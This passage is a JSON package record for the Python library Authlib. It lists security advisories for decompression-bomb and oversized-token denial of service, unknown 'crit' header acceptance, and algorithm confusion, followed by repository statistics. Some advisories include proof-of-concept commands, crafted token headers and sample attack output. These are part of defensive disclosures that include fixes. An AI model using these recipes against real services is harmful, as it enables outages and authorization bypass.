§10.12](https://www.rfc-editor.org/rfc/rfc6749#section-10.12)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-08T22:40:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-fg6f-75jq-6523","https://nvd.nist.gov/vuln/detail/CVE-2025-68158","https://github.com/authlib/authlib/commit/2808378611dd6fb2532b189a9087877d8f0c0489","https://github.com/authlib/authlib/commit/7974f45e4d7492ab5f527577677f2770ce423228","https://github.com/advisories/GHSA-fg6f-75jq-6523"],"source_kind":"github","identifiers":["GHSA-fg6f-75jq-6523","CVE-2025-68158"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-08T23:00:07.790Z","updated_at":"2026-11-06T02:04:58.762Z","epss_percentage":0.00272,"epss_percentile":0.19553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzZmLTc1anEtNjUyM84ABQ35","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZzZmLTc1anEtNjUyM84ABQ35","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.6","vulnerable_version_range":"\u003e= 1.0.0, \u003c= 1.6.5"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzZmLTc1anEtNjUyM84ABQ35/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nN2YzLTgyOGYtN2g3bc4ABNQ9","url":"https://github.com/advisories/GHSA-g7f3-828f-7h7m","title":"Authlib : JWE zip=DEF decompression bomb enables DoS","description":"### Summary\n_Authlib’s JWE `zip=DEF` path performs unbounded DEFLATE decompression. A very small ciphertext can expand into tens or hundreds of megabytes on decrypt, allowing an attacker who can supply decryptable tokens to exhaust memory and CPU and cause denial of service._\n\n### Details\n- Affected component: Authlib JOSE, JWE `zip=DEF` (DEFLATE) support.\n- In `authlib/authlib/jose/rfc7518/jwe_zips.py`, `DeflateZipAlgorithm.decompress` calls `zlib.decompress(s, -zlib.MAX_WBITS)` without a maximum output limit. This permits unbounded expansion of compressed payloads.\n- In the JWE decode flow (`authlib/authlib/jose/rfc7516/jwe.py`), when the protected header contains `\"zip\": \"DEF\"`, the library routes the decrypted ciphertext into the `decompress` method and assigns the fully decompressed bytes to the plaintext field before returning it. No streaming limit or quota is applied.\n- Because DEFLATE achieves extremely high ratios on highly repetitive input, an attacker can craft a tiny `zip=DEF` ciphertext that inflates to a very large plaintext during decrypt, spiking RSS and CPU. Repeated requests can starve the process or host.\n\nCode references (from this repository version):\n- `authlib/authlib/jose/rfc7518/jwe_zips.py` – `DeflateZipAlgorithm.decompress` uses unbounded `zlib.decompress`.\n- `authlib/authlib/jose/rfc7516/jwe.py` – JWE decode path applies `zip_.decompress(msg)` when `zip=DEF` is present in the header.\n\nContrast: The `joserfc` project guards `zip=DEF` decompression with a fixed maximum (256 KB) and raises `ExceededSizeError` if output would exceed this limit, preventing the bomb. Authlib lacks such a guard in this codebase snapshot.\n\n### PoC\nEnvironment: Python 3.10+ inside a venv; Authlib installed editable from this repository so source changes are visible. The PoC script demonstrates both a benign and a compressible-bomb payload and prints wall/CPU time, RSS, and size ratios.\n\n1) Create venv and install Authlib (editable):\nSet current directory to /authlib\nDownload [jwe_deflate_dos_demo.py](https://github.com/user-attachments/files/22519553/jwe_deflate_dos_demo.py) in /authlib\n```\npython3 -m venv .venv\n.venv/bin/pip install --upgrade pip\n.venv/bin/pip install -e .\n```\n\n2) Run the PoC (included in this repo):\n```\n.venv/bin/python /authlib/jwe_deflate_dos_demo.py --size 50 --max-rss-mb 2048\n```\n\nSample output (abridged):\n```\nLOCAL TEST ONLY – do not send to third-party systems.\nRuntime: Python 3.13.6 / Authlib 1.6.4 / zip=DEF via A256GCM\n[CASE] normal    plaintext=13B  ciphertext=117B decompressed=13B  wall_s=0.000 cpu_s=0.000 peak_rss_mb=31.0  ratio=0.1\n[CASE] malicious plaintext=50MB ciphertext=~4KB decompressed=50MB wall_s=~2.3  cpu_s=~2.2  peak_rss_mb=800+  ratio=12500+\n```\n\nThe second case shows the decompression spike: a few KB of ciphertext forces allocation and processing of ~50 MB during decrypt. Repeated requests can quickly exhaust available memory and CPU.\n\nReproduction notes:\n- Algorithm: `alg=dir`, `enc=A256GCM`, header includes `{ \"zip\": \"DEF\" }`.\n- The PoC uses a 32‑byte local symmetric key and a highly compressible payload (`\"A\" * N`).\n- Increase `--size` to stress memory; the `--max-rss-mb` flag helps avoid destabilizing the host during testing.\n\n### Impact\n- Effect: Denial of service (memory/CPU exhaustion) during JWE decrypt of `zip=DEF` tokens.\n- Who is impacted: Any service that uses Authlib to decrypt JWE tokens with `zip=DEF` and where an attacker can submit tokens that will be successfully decrypted (e.g., shared `dir` key, token reflection, or compromised/abused issuers).\n- Confidentiality/Integrity: No direct C/I impact; availability impact is high.\n\n### Severity (CVSS v3.1)\nBase vector (typical shared‑secret scenario where the attacker must produce a decryptable token):\n- `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` → 6.5 (MEDIUM)\n\n**Rationale:**\n- Network‑reachable (AV:N), low complexity (AC:L), no user interaction (UI:N), scope unchanged (S:U).\n- Attacker must hold or gain ability to mint a decryptable token for the target (PR:L) — common with `alg=dir` and shared keys across services.\n- No confidentiality or integrity loss (C:N/I:N); availability is severely impacted (A:H) due to decompression expansion.\nIf arbitrary unprivileged parties can submit JWEs that will be decrypted (PR:N), the base vector becomes:\n- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → 7.5 (HIGH)\n\n### Mitigations / Workarounds\n- Reject or strip `zip=DEF` for inbound JWEs at the application boundary until a fix is available.\n- Fork and add a bounded decompression guard (e.g., `zlib.decompress(..., max_length)` via `decompressobj().decompress(data, MAX_SIZE)`), returning an error when output exceeds a safe limit.\n- Enforce strict maximum token sizes and fail fast on oversized inputs; combine with rate limiting.\n\n### Remediation Guidance (for maintainers)\n- Mirror `joserfc`’s approach: add a conservative maximum output size (e.g., 256 KB by default) and raise a specific error when exceeded; document a controlled way to raise this ceiling for trusted environments.\n- Consider streaming decode with chunked limits to avoid large single allocations.\n\n### References\n- Authlib source: `authlib/authlib/jose/rfc7518/jwe_zips.py`, `authlib/authlib/jose/rfc7516/jwe.py`","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-10-10T22:54:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/authlib/authlib/security/advisories/GHSA-g7f3-828f-7h7m","https://github.com/authlib/authlib/commit/e0863d5129316b1790eee5f14cece32a03b8184d","https://nvd.nist.gov/vuln/detail/CVE-2025-62706","https://lists.debian.org/debian-lts-announce/2025/10/msg00032.html","https://github.com/advisories/GHSA-g7f3-828f-7h7m"],"source_kind":"github","identifiers":["GHSA-g7f3-828f-7h7m","CVE-2025-62706"],"repository_url":"https://github.com/authlib/authlib","blast_radius":0.0,"created_at":"2025-10-10T23:00:08.496Z","updated_at":"2026-11-12T04:07:04.507Z","epss_percentage":0.00469,"epss_percentile":0.41013,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nN2YzLTgyOGYtN2g3bc4ABNQ9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nN2YzLTgyOGYtN2g3bc4ABNQ9","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.5","vulnerable_version_range":"\u003c 1.6.5"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nN2YzLTgyOGYtN2g3bc4ABNQ9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcTVwLTM0Y3ItMjN2Oc4ABNQu","url":"https://github.com/advisories/GHSA-pq5p-34cr-23v9","title":"Authlib is vulnerable to Denial of Service via Oversized JOSE Segments","description":"**Summary**\nAuthlib’s JOSE implementation accepts unbounded JWS/JWT header and signature segments. A remote attacker can craft a token whose base64url‑encoded header or signature spans hundreds of megabytes. During verification, Authlib decodes and parses the full input before it is rejected, driving CPU and memory consumption to hostile levels and enabling denial of service.\n\n**Impact**\n\n- Attack vector: unauthenticated network attacker submits a malicious JWS/JWT.\n\n- Effect: base64 decode + JSON/crypto processing of huge buffers pegs CPU and allocates large amounts of RAM; a single request can exhaust service capacity.\n\n- Observed behaviour: on a test host, the legacy code verified a 500 MB header, consuming ~4 GB RSS and ~9 s CPU before failing.\n\n- Severity: High. CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5).\n\nAffected Versions\nAuthlib ≤ 1.6.3 (and earlier) when verifying JWS/JWT tokens. Later snapshots with 256 KB header/signature limits are not affected.\n\n**Proof of concept**\n\nLocal demo (do not run against third-party systems):\nDownload [jws_segment_dos_demo.py](https://github.com/user-attachments/files/22450820/jws_segment_dos_demo.py) the PoC in direcotry authlib/\nRun following Command\n```\npython3 jws_segment_dos_demo.py --variant both --sizes \"500MB\" --fork-per-case\n\n```\nEnvironment: Python 3.13.6, Authlib 1.6.4, Linux x86_64, CPUs=8 \nSample output: Refined\n\u003cimg width=\"1295\" height=\"306\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6dd8410f-bc36-4717-8cee-649bac9bf291\" /\u003e\n\n\n\n\nThe compilation script prints separate “[ATTACKER]” (token construction) and “[SERVER]” (Authlib verification) RSS deltas so defenders can distinguish client-side preparation from server-side amplification. Regression tests authlib/tests/dos/test_jose_dos.py further capture the issue; the saved original_util.py/original_jws.py reproductions still accept the malicious payload.\n\n**Remediation**\n\n- Apply the upstream patch that introduces decoded size limits:\n\n- MAX_HEADER_SEGMENT_BYTES = 256 KB\n\n- MAX_SIGNATURE_SEGMENT_BYTES = 256 KB\n\n- Enforce Limits in authlib/jose/util.extract_segment and _extract_signature.\n\n- Deploy the patched release immediately.\n\n- For additional defence in depth, reject JWS/JWT inputs above a few kilobytes at the proxy or WAF layer, and rate-limit verification endpoints.\n\n**Workarounds (temporary)**\n\n- Enforce input size limits before handing tokens to Authlib.\n\n- Use application-level throttling to reduce amplification risk.\n\n**Resources**\n\n- Demo script: jws_segment_dos_demo.py\n\n- Tests: authlib/tests/dos/test_jose_dos.py\n\n- OWASP JWT Cheat Sheet (DoS guidance)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-10T20:26:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/authlib/authlib/security/advisories/GHSA-pq5p-34cr-23v9","https://github.com/authlib/authlib/commit/867e3f87b072347a1ae9cf6983cc8bbf88447e5e","https://nvd.nist.gov/vuln/detail/CVE-2025-61920","https://lists.debian.org/debian-lts-announce/2025/10/msg00032.html","https://github.com/advisories/GHSA-pq5p-34cr-23v9"],"source_kind":"github","identifiers":["GHSA-pq5p-34cr-23v9","CVE-2025-61920"],"repository_url":"https://github.com/authlib/authlib","blast_radius":0.0,"created_at":"2025-10-10T21:00:08.434Z","updated_at":"2026-11-06T02:06:50.836Z","epss_percentage":0.00638,"epss_percentile":0.50502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTVwLTM0Y3ItMjN2Oc4ABNQu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcTVwLTM0Y3ItMjN2Oc4ABNQu","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.5","vulnerable_version_range":"\u003c 1.6.5"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTVwLTM0Y3ItMjN2Oc4ABNQu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Z2dyLTI0NjQtMmozMs4ABMaY","url":"https://github.com/advisories/GHSA-9ggr-2464-2j32","title":"Authlib: JWS/JWT accepts unknown crit headers (RFC violation → possible authz bypass)","description":"## Summary\nAuthlib’s JWS verification accepts tokens that declare unknown critical header parameters (`crit`), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, `bork` or `cnf`) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation.\n\n## Affected Component and Versions\n- Library: Authlib (JWS verification)\n- API: `authlib.jose.JsonWebSignature.deserialize_compact(...)`\n- Version tested: 1.6.3\n- Configuration: Default; no allowlist or special handling for `crit`\n\n## Details\nRFC 7515 (JWS) §4.1.11 defines `crit` as a “must‑understand” list: recipients MUST understand and enforce every header parameter listed in `crit`, otherwise they MUST reject the token. Security‑sensitive semantics such as token binding (e.g., `cnf` from RFC 7800) are often conveyed via `crit`.\n\nObserved behavior with Authlib 1.6.3:\n- When a compact JWS contains a protected header with `crit: [\"cnf\"]` and a `cnf` object, or `crit: [\"bork\"]` with an unknown parameter, Authlib verifies the signature and returns the payload without rejecting the token or enforcing semantics of the critical parameter.\n- By contrast, Java Nimbus JOSE+JWT (9.37.x) and Node `jose` v5 both reject such tokens by default when `crit` lists unknown names.\n\nImpact in heterogeneous fleets:\n- A strict ingress/gateway (Nimbus/Node) rejects a token, but a lenient Python microservice (Authlib) accepts the same token. This split‑brain acceptance bypasses intended security policies and can enable replay or privilege escalation if `crit` carries binding or policy information.\n\n## Proof of Concept (PoC)\nThis repository provides a multi‑runtime PoC demonstrating the issue across Python (Authlib), Node (`jose` v5), and Java (Nimbus).\n\n### Prerequisites\n- Python 3.8+\n- Node.js 18+\n- Java 11+ with Maven\n\n### Setup\n\nEnter the directory **authlib-crit-bypass-poc** \u0026 run following commands.\n```bash\nmake setup\nmake tokens\n```\n\n### Tokens minted\n- `tokens/unknown_crit.jwt` with protected header:\n  `{ \"alg\": \"HS256\", \"crit\": [\"bork\"], \"bork\": \"x\" }`\n- `tokens/cnf_header.jwt` with protected header:\n  `{ \"alg\": \"HS256\", \"crit\": [\"cnf\"], \"cnf\": {\"jkt\": \"thumb-42\"} }`\n\n### Reproduction\nRun the cross‑runtime demo:\n```bash\nmake  demo\n```\n\nExpected output for each token (strict verifiers reject; Authlib accepts):\n\nFor `tokens/unknown_crit.jwt`:\n```\nStrict(Nimbus): REJECTED (unknown critical header: bork)\nStrict(Node jose): REJECTED (unrecognized crit)\nLenient(Authlib): ACCEPTED -\u003e payload={'sub': '123', 'role': 'user'}\n```\n\nFor `tokens/cnf_header.jwt`:\n```\nStrict(Nimbus): REJECTED (unknown critical header: cnf)\nStrict(Node jose): REJECTED (unrecognized crit)\nLenient(Authlib): ACCEPTED -\u003e payload={'sub': '123', 'role': 'user'}\n```\n\nEnvironment notes:\n- Authlib version used: `1.6.3` (from PyPI)\n- Node `jose` version: `^5`\n- Nimbus JOSE+JWT version: `9.37.x`\n- HS256 secret is 32 bytes to satisfy strict verifiers: `0123456789abcdef0123456789abcdef`\n\n## Impact\n- Class: Violation of JWS `crit` “must‑understand” semantics; specification non‑compliance leading to authentication/authorization policy bypass.\n- Who is impacted: Any service that relies on `crit` to carry mandatory security semantics (e.g., token binding via `cnf`) or operates in a heterogeneous fleet with strict verifiers elsewhere.\n- Consequences: Split‑brain acceptance (gateway rejects while a backend accepts), replay, or privilege escalation if critical semantics are ignored.\n\n## References\n- RFC 7515: JSON Web Signature (JWS), §4.1.11 `crit`\n- RFC 7800: Proof‑of‑Possession Key Semantics for JWTs (`cnf`)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-09-22T14:42:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-9ggr-2464-2j32","https://github.com/authlib/authlib/commit/6b1813e4392eb7c168c276099ff7783b176479df","https://nvd.nist.gov/vuln/detail/CVE-2025-59420","https://lists.debian.org/debian-lts-announce/2025/10/msg00032.html","https://github.com/advisories/GHSA-9ggr-2464-2j32"],"source_kind":"github","identifiers":["GHSA-9ggr-2464-2j32","CVE-2025-59420"],"repository_url":"https://github.com/authlib/authlib","blast_radius":0.0,"created_at":"2025-09-22T15:00:20.804Z","updated_at":"2026-11-07T19:06:32.553Z","epss_percentage":0.00275,"epss_percentile":0.1999,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z2dyLTI0NjQtMmozMs4ABMaY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Z2dyLTI0NjQtMmozMs4ABMaY","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.4","vulnerable_version_range":"\u003c 1.6.4"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z2dyLTI0NjQtMmozMs4ABMaY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MzU3LWMyangtdjdxaM4AA83F","url":"https://github.com/advisories/GHSA-5357-c2jx-v7qh","title":"Authlib has algorithm confusion with asymmetric public keys","description":"lepture Authlib before 1.3.1 has algorithm confusion with asymmetric public keys. Unless an algorithm is specified in a jwt.decode call, HMAC verification is allowed with any asymmetric public key. (This is similar to CVE-2022-29217 and CVE-2024-33663.)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-09T21:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37568","https://github.com/lepture/authlib/issues/654","https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2024-52.yaml","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IZI7HYGN7VZAYFV6UV3SRLYF7QGERXIU","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FHJI32SN4FNAUVNALVGOKWHNSQ6XS3M5","https://www.vicarius.io/vsociety/posts/algorithm-confusion-in-lepture-authlib-cve-2024-37568","https://lists.debian.org/debian-lts-announce/2025/10/msg00032.html","https://github.com/advisories/GHSA-5357-c2jx-v7qh"],"source_kind":"github","identifiers":["GHSA-5357-c2jx-v7qh","CVE-2024-37568"],"repository_url":"https://github.com/lepture/authlib","blast_radius":0.0,"created_at":"2024-06-10T16:05:50.626Z","updated_at":"2026-11-07T19:09:06.058Z","epss_percentage":0.00388,"epss_percentile":0.3259,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzU3LWMyangtdjdxaM4AA83F","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MzU3LWMyangtdjdxaM4AA83F","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.3.1","vulnerable_version_range":"\u003e= 0, \u003c 1.3.1"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzU3LWMyangtdjdxaM4AA83F/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/authlib","docker_dependents_count":63,"docker_downloads_count":62849134,"usage_url":"https://repos.ecosyste.ms/usage/pypi/authlib","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/authlib/dependencies","status":null,"funding_links":["https://github.com/sponsors/lepture","https://github.com/sponsors/authlib"],"critical":null,"issue_metadata":{"last_synced_at":"2026-11-06T19:01:06.775Z","issues_count":363,"pull_requests_count":317,"avg_time_to_close_issue":5183640.423676012,"avg_time_to_close_pull_request":1482396.4528985508,"issues_closed_count":321,"pull_requests_closed_count":276,"pull_request_authors_count":163,"issue_authors_count":245,"avg_comments_per_issue":2.5068870523415976,"avg_comments_per_pull_request":1.3186119873817035,"merged_pull_requests_count":231,"bot_issues_count":1,"bot_pull_requests_count":4,"past_year_issues_count":35,"past_year_pull_requests_count":120,"past_year_avg_time_to_close_issue":2354115.3684210526,"past_year_avg_time_to_close_pull_request":1155598.7894736843,"past_year_issues_closed_count":19,"past_year_pull_requests_closed_count":95,"past_year_pull_request_authors_count":47,"past_year_issue_authors_count":28,"past_year_avg_comments_per_issue":1.4285714285714286,"past_year_avg_comments_per_pull_request":0.975,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":83,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/authlib%2Fauthlib/issues","maintainers":[{"login":"azmeuk","count":95,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/azmeuk"},{"login":"lepture","count":48,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lepture"}],"active_maintainers":[{"login":"azmeuk","count":50,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/azmeuk"},{"login":"lepture","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lepture"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/authlib/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/authlib/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/authlib/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/authlib/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/authlib/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/authlib/codemeta","maintainers":[{"uuid":"lepture","login":"lepture","name":null,"email":null,"url":null,"packages_count":42,"html_url":"https://pypi.org/user/lepture/","role":null,"created_at":"2022-11-14T18:17:47.300Z","updated_at":"2022-11-14T18:17:47.300Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/lepture/packages"}]}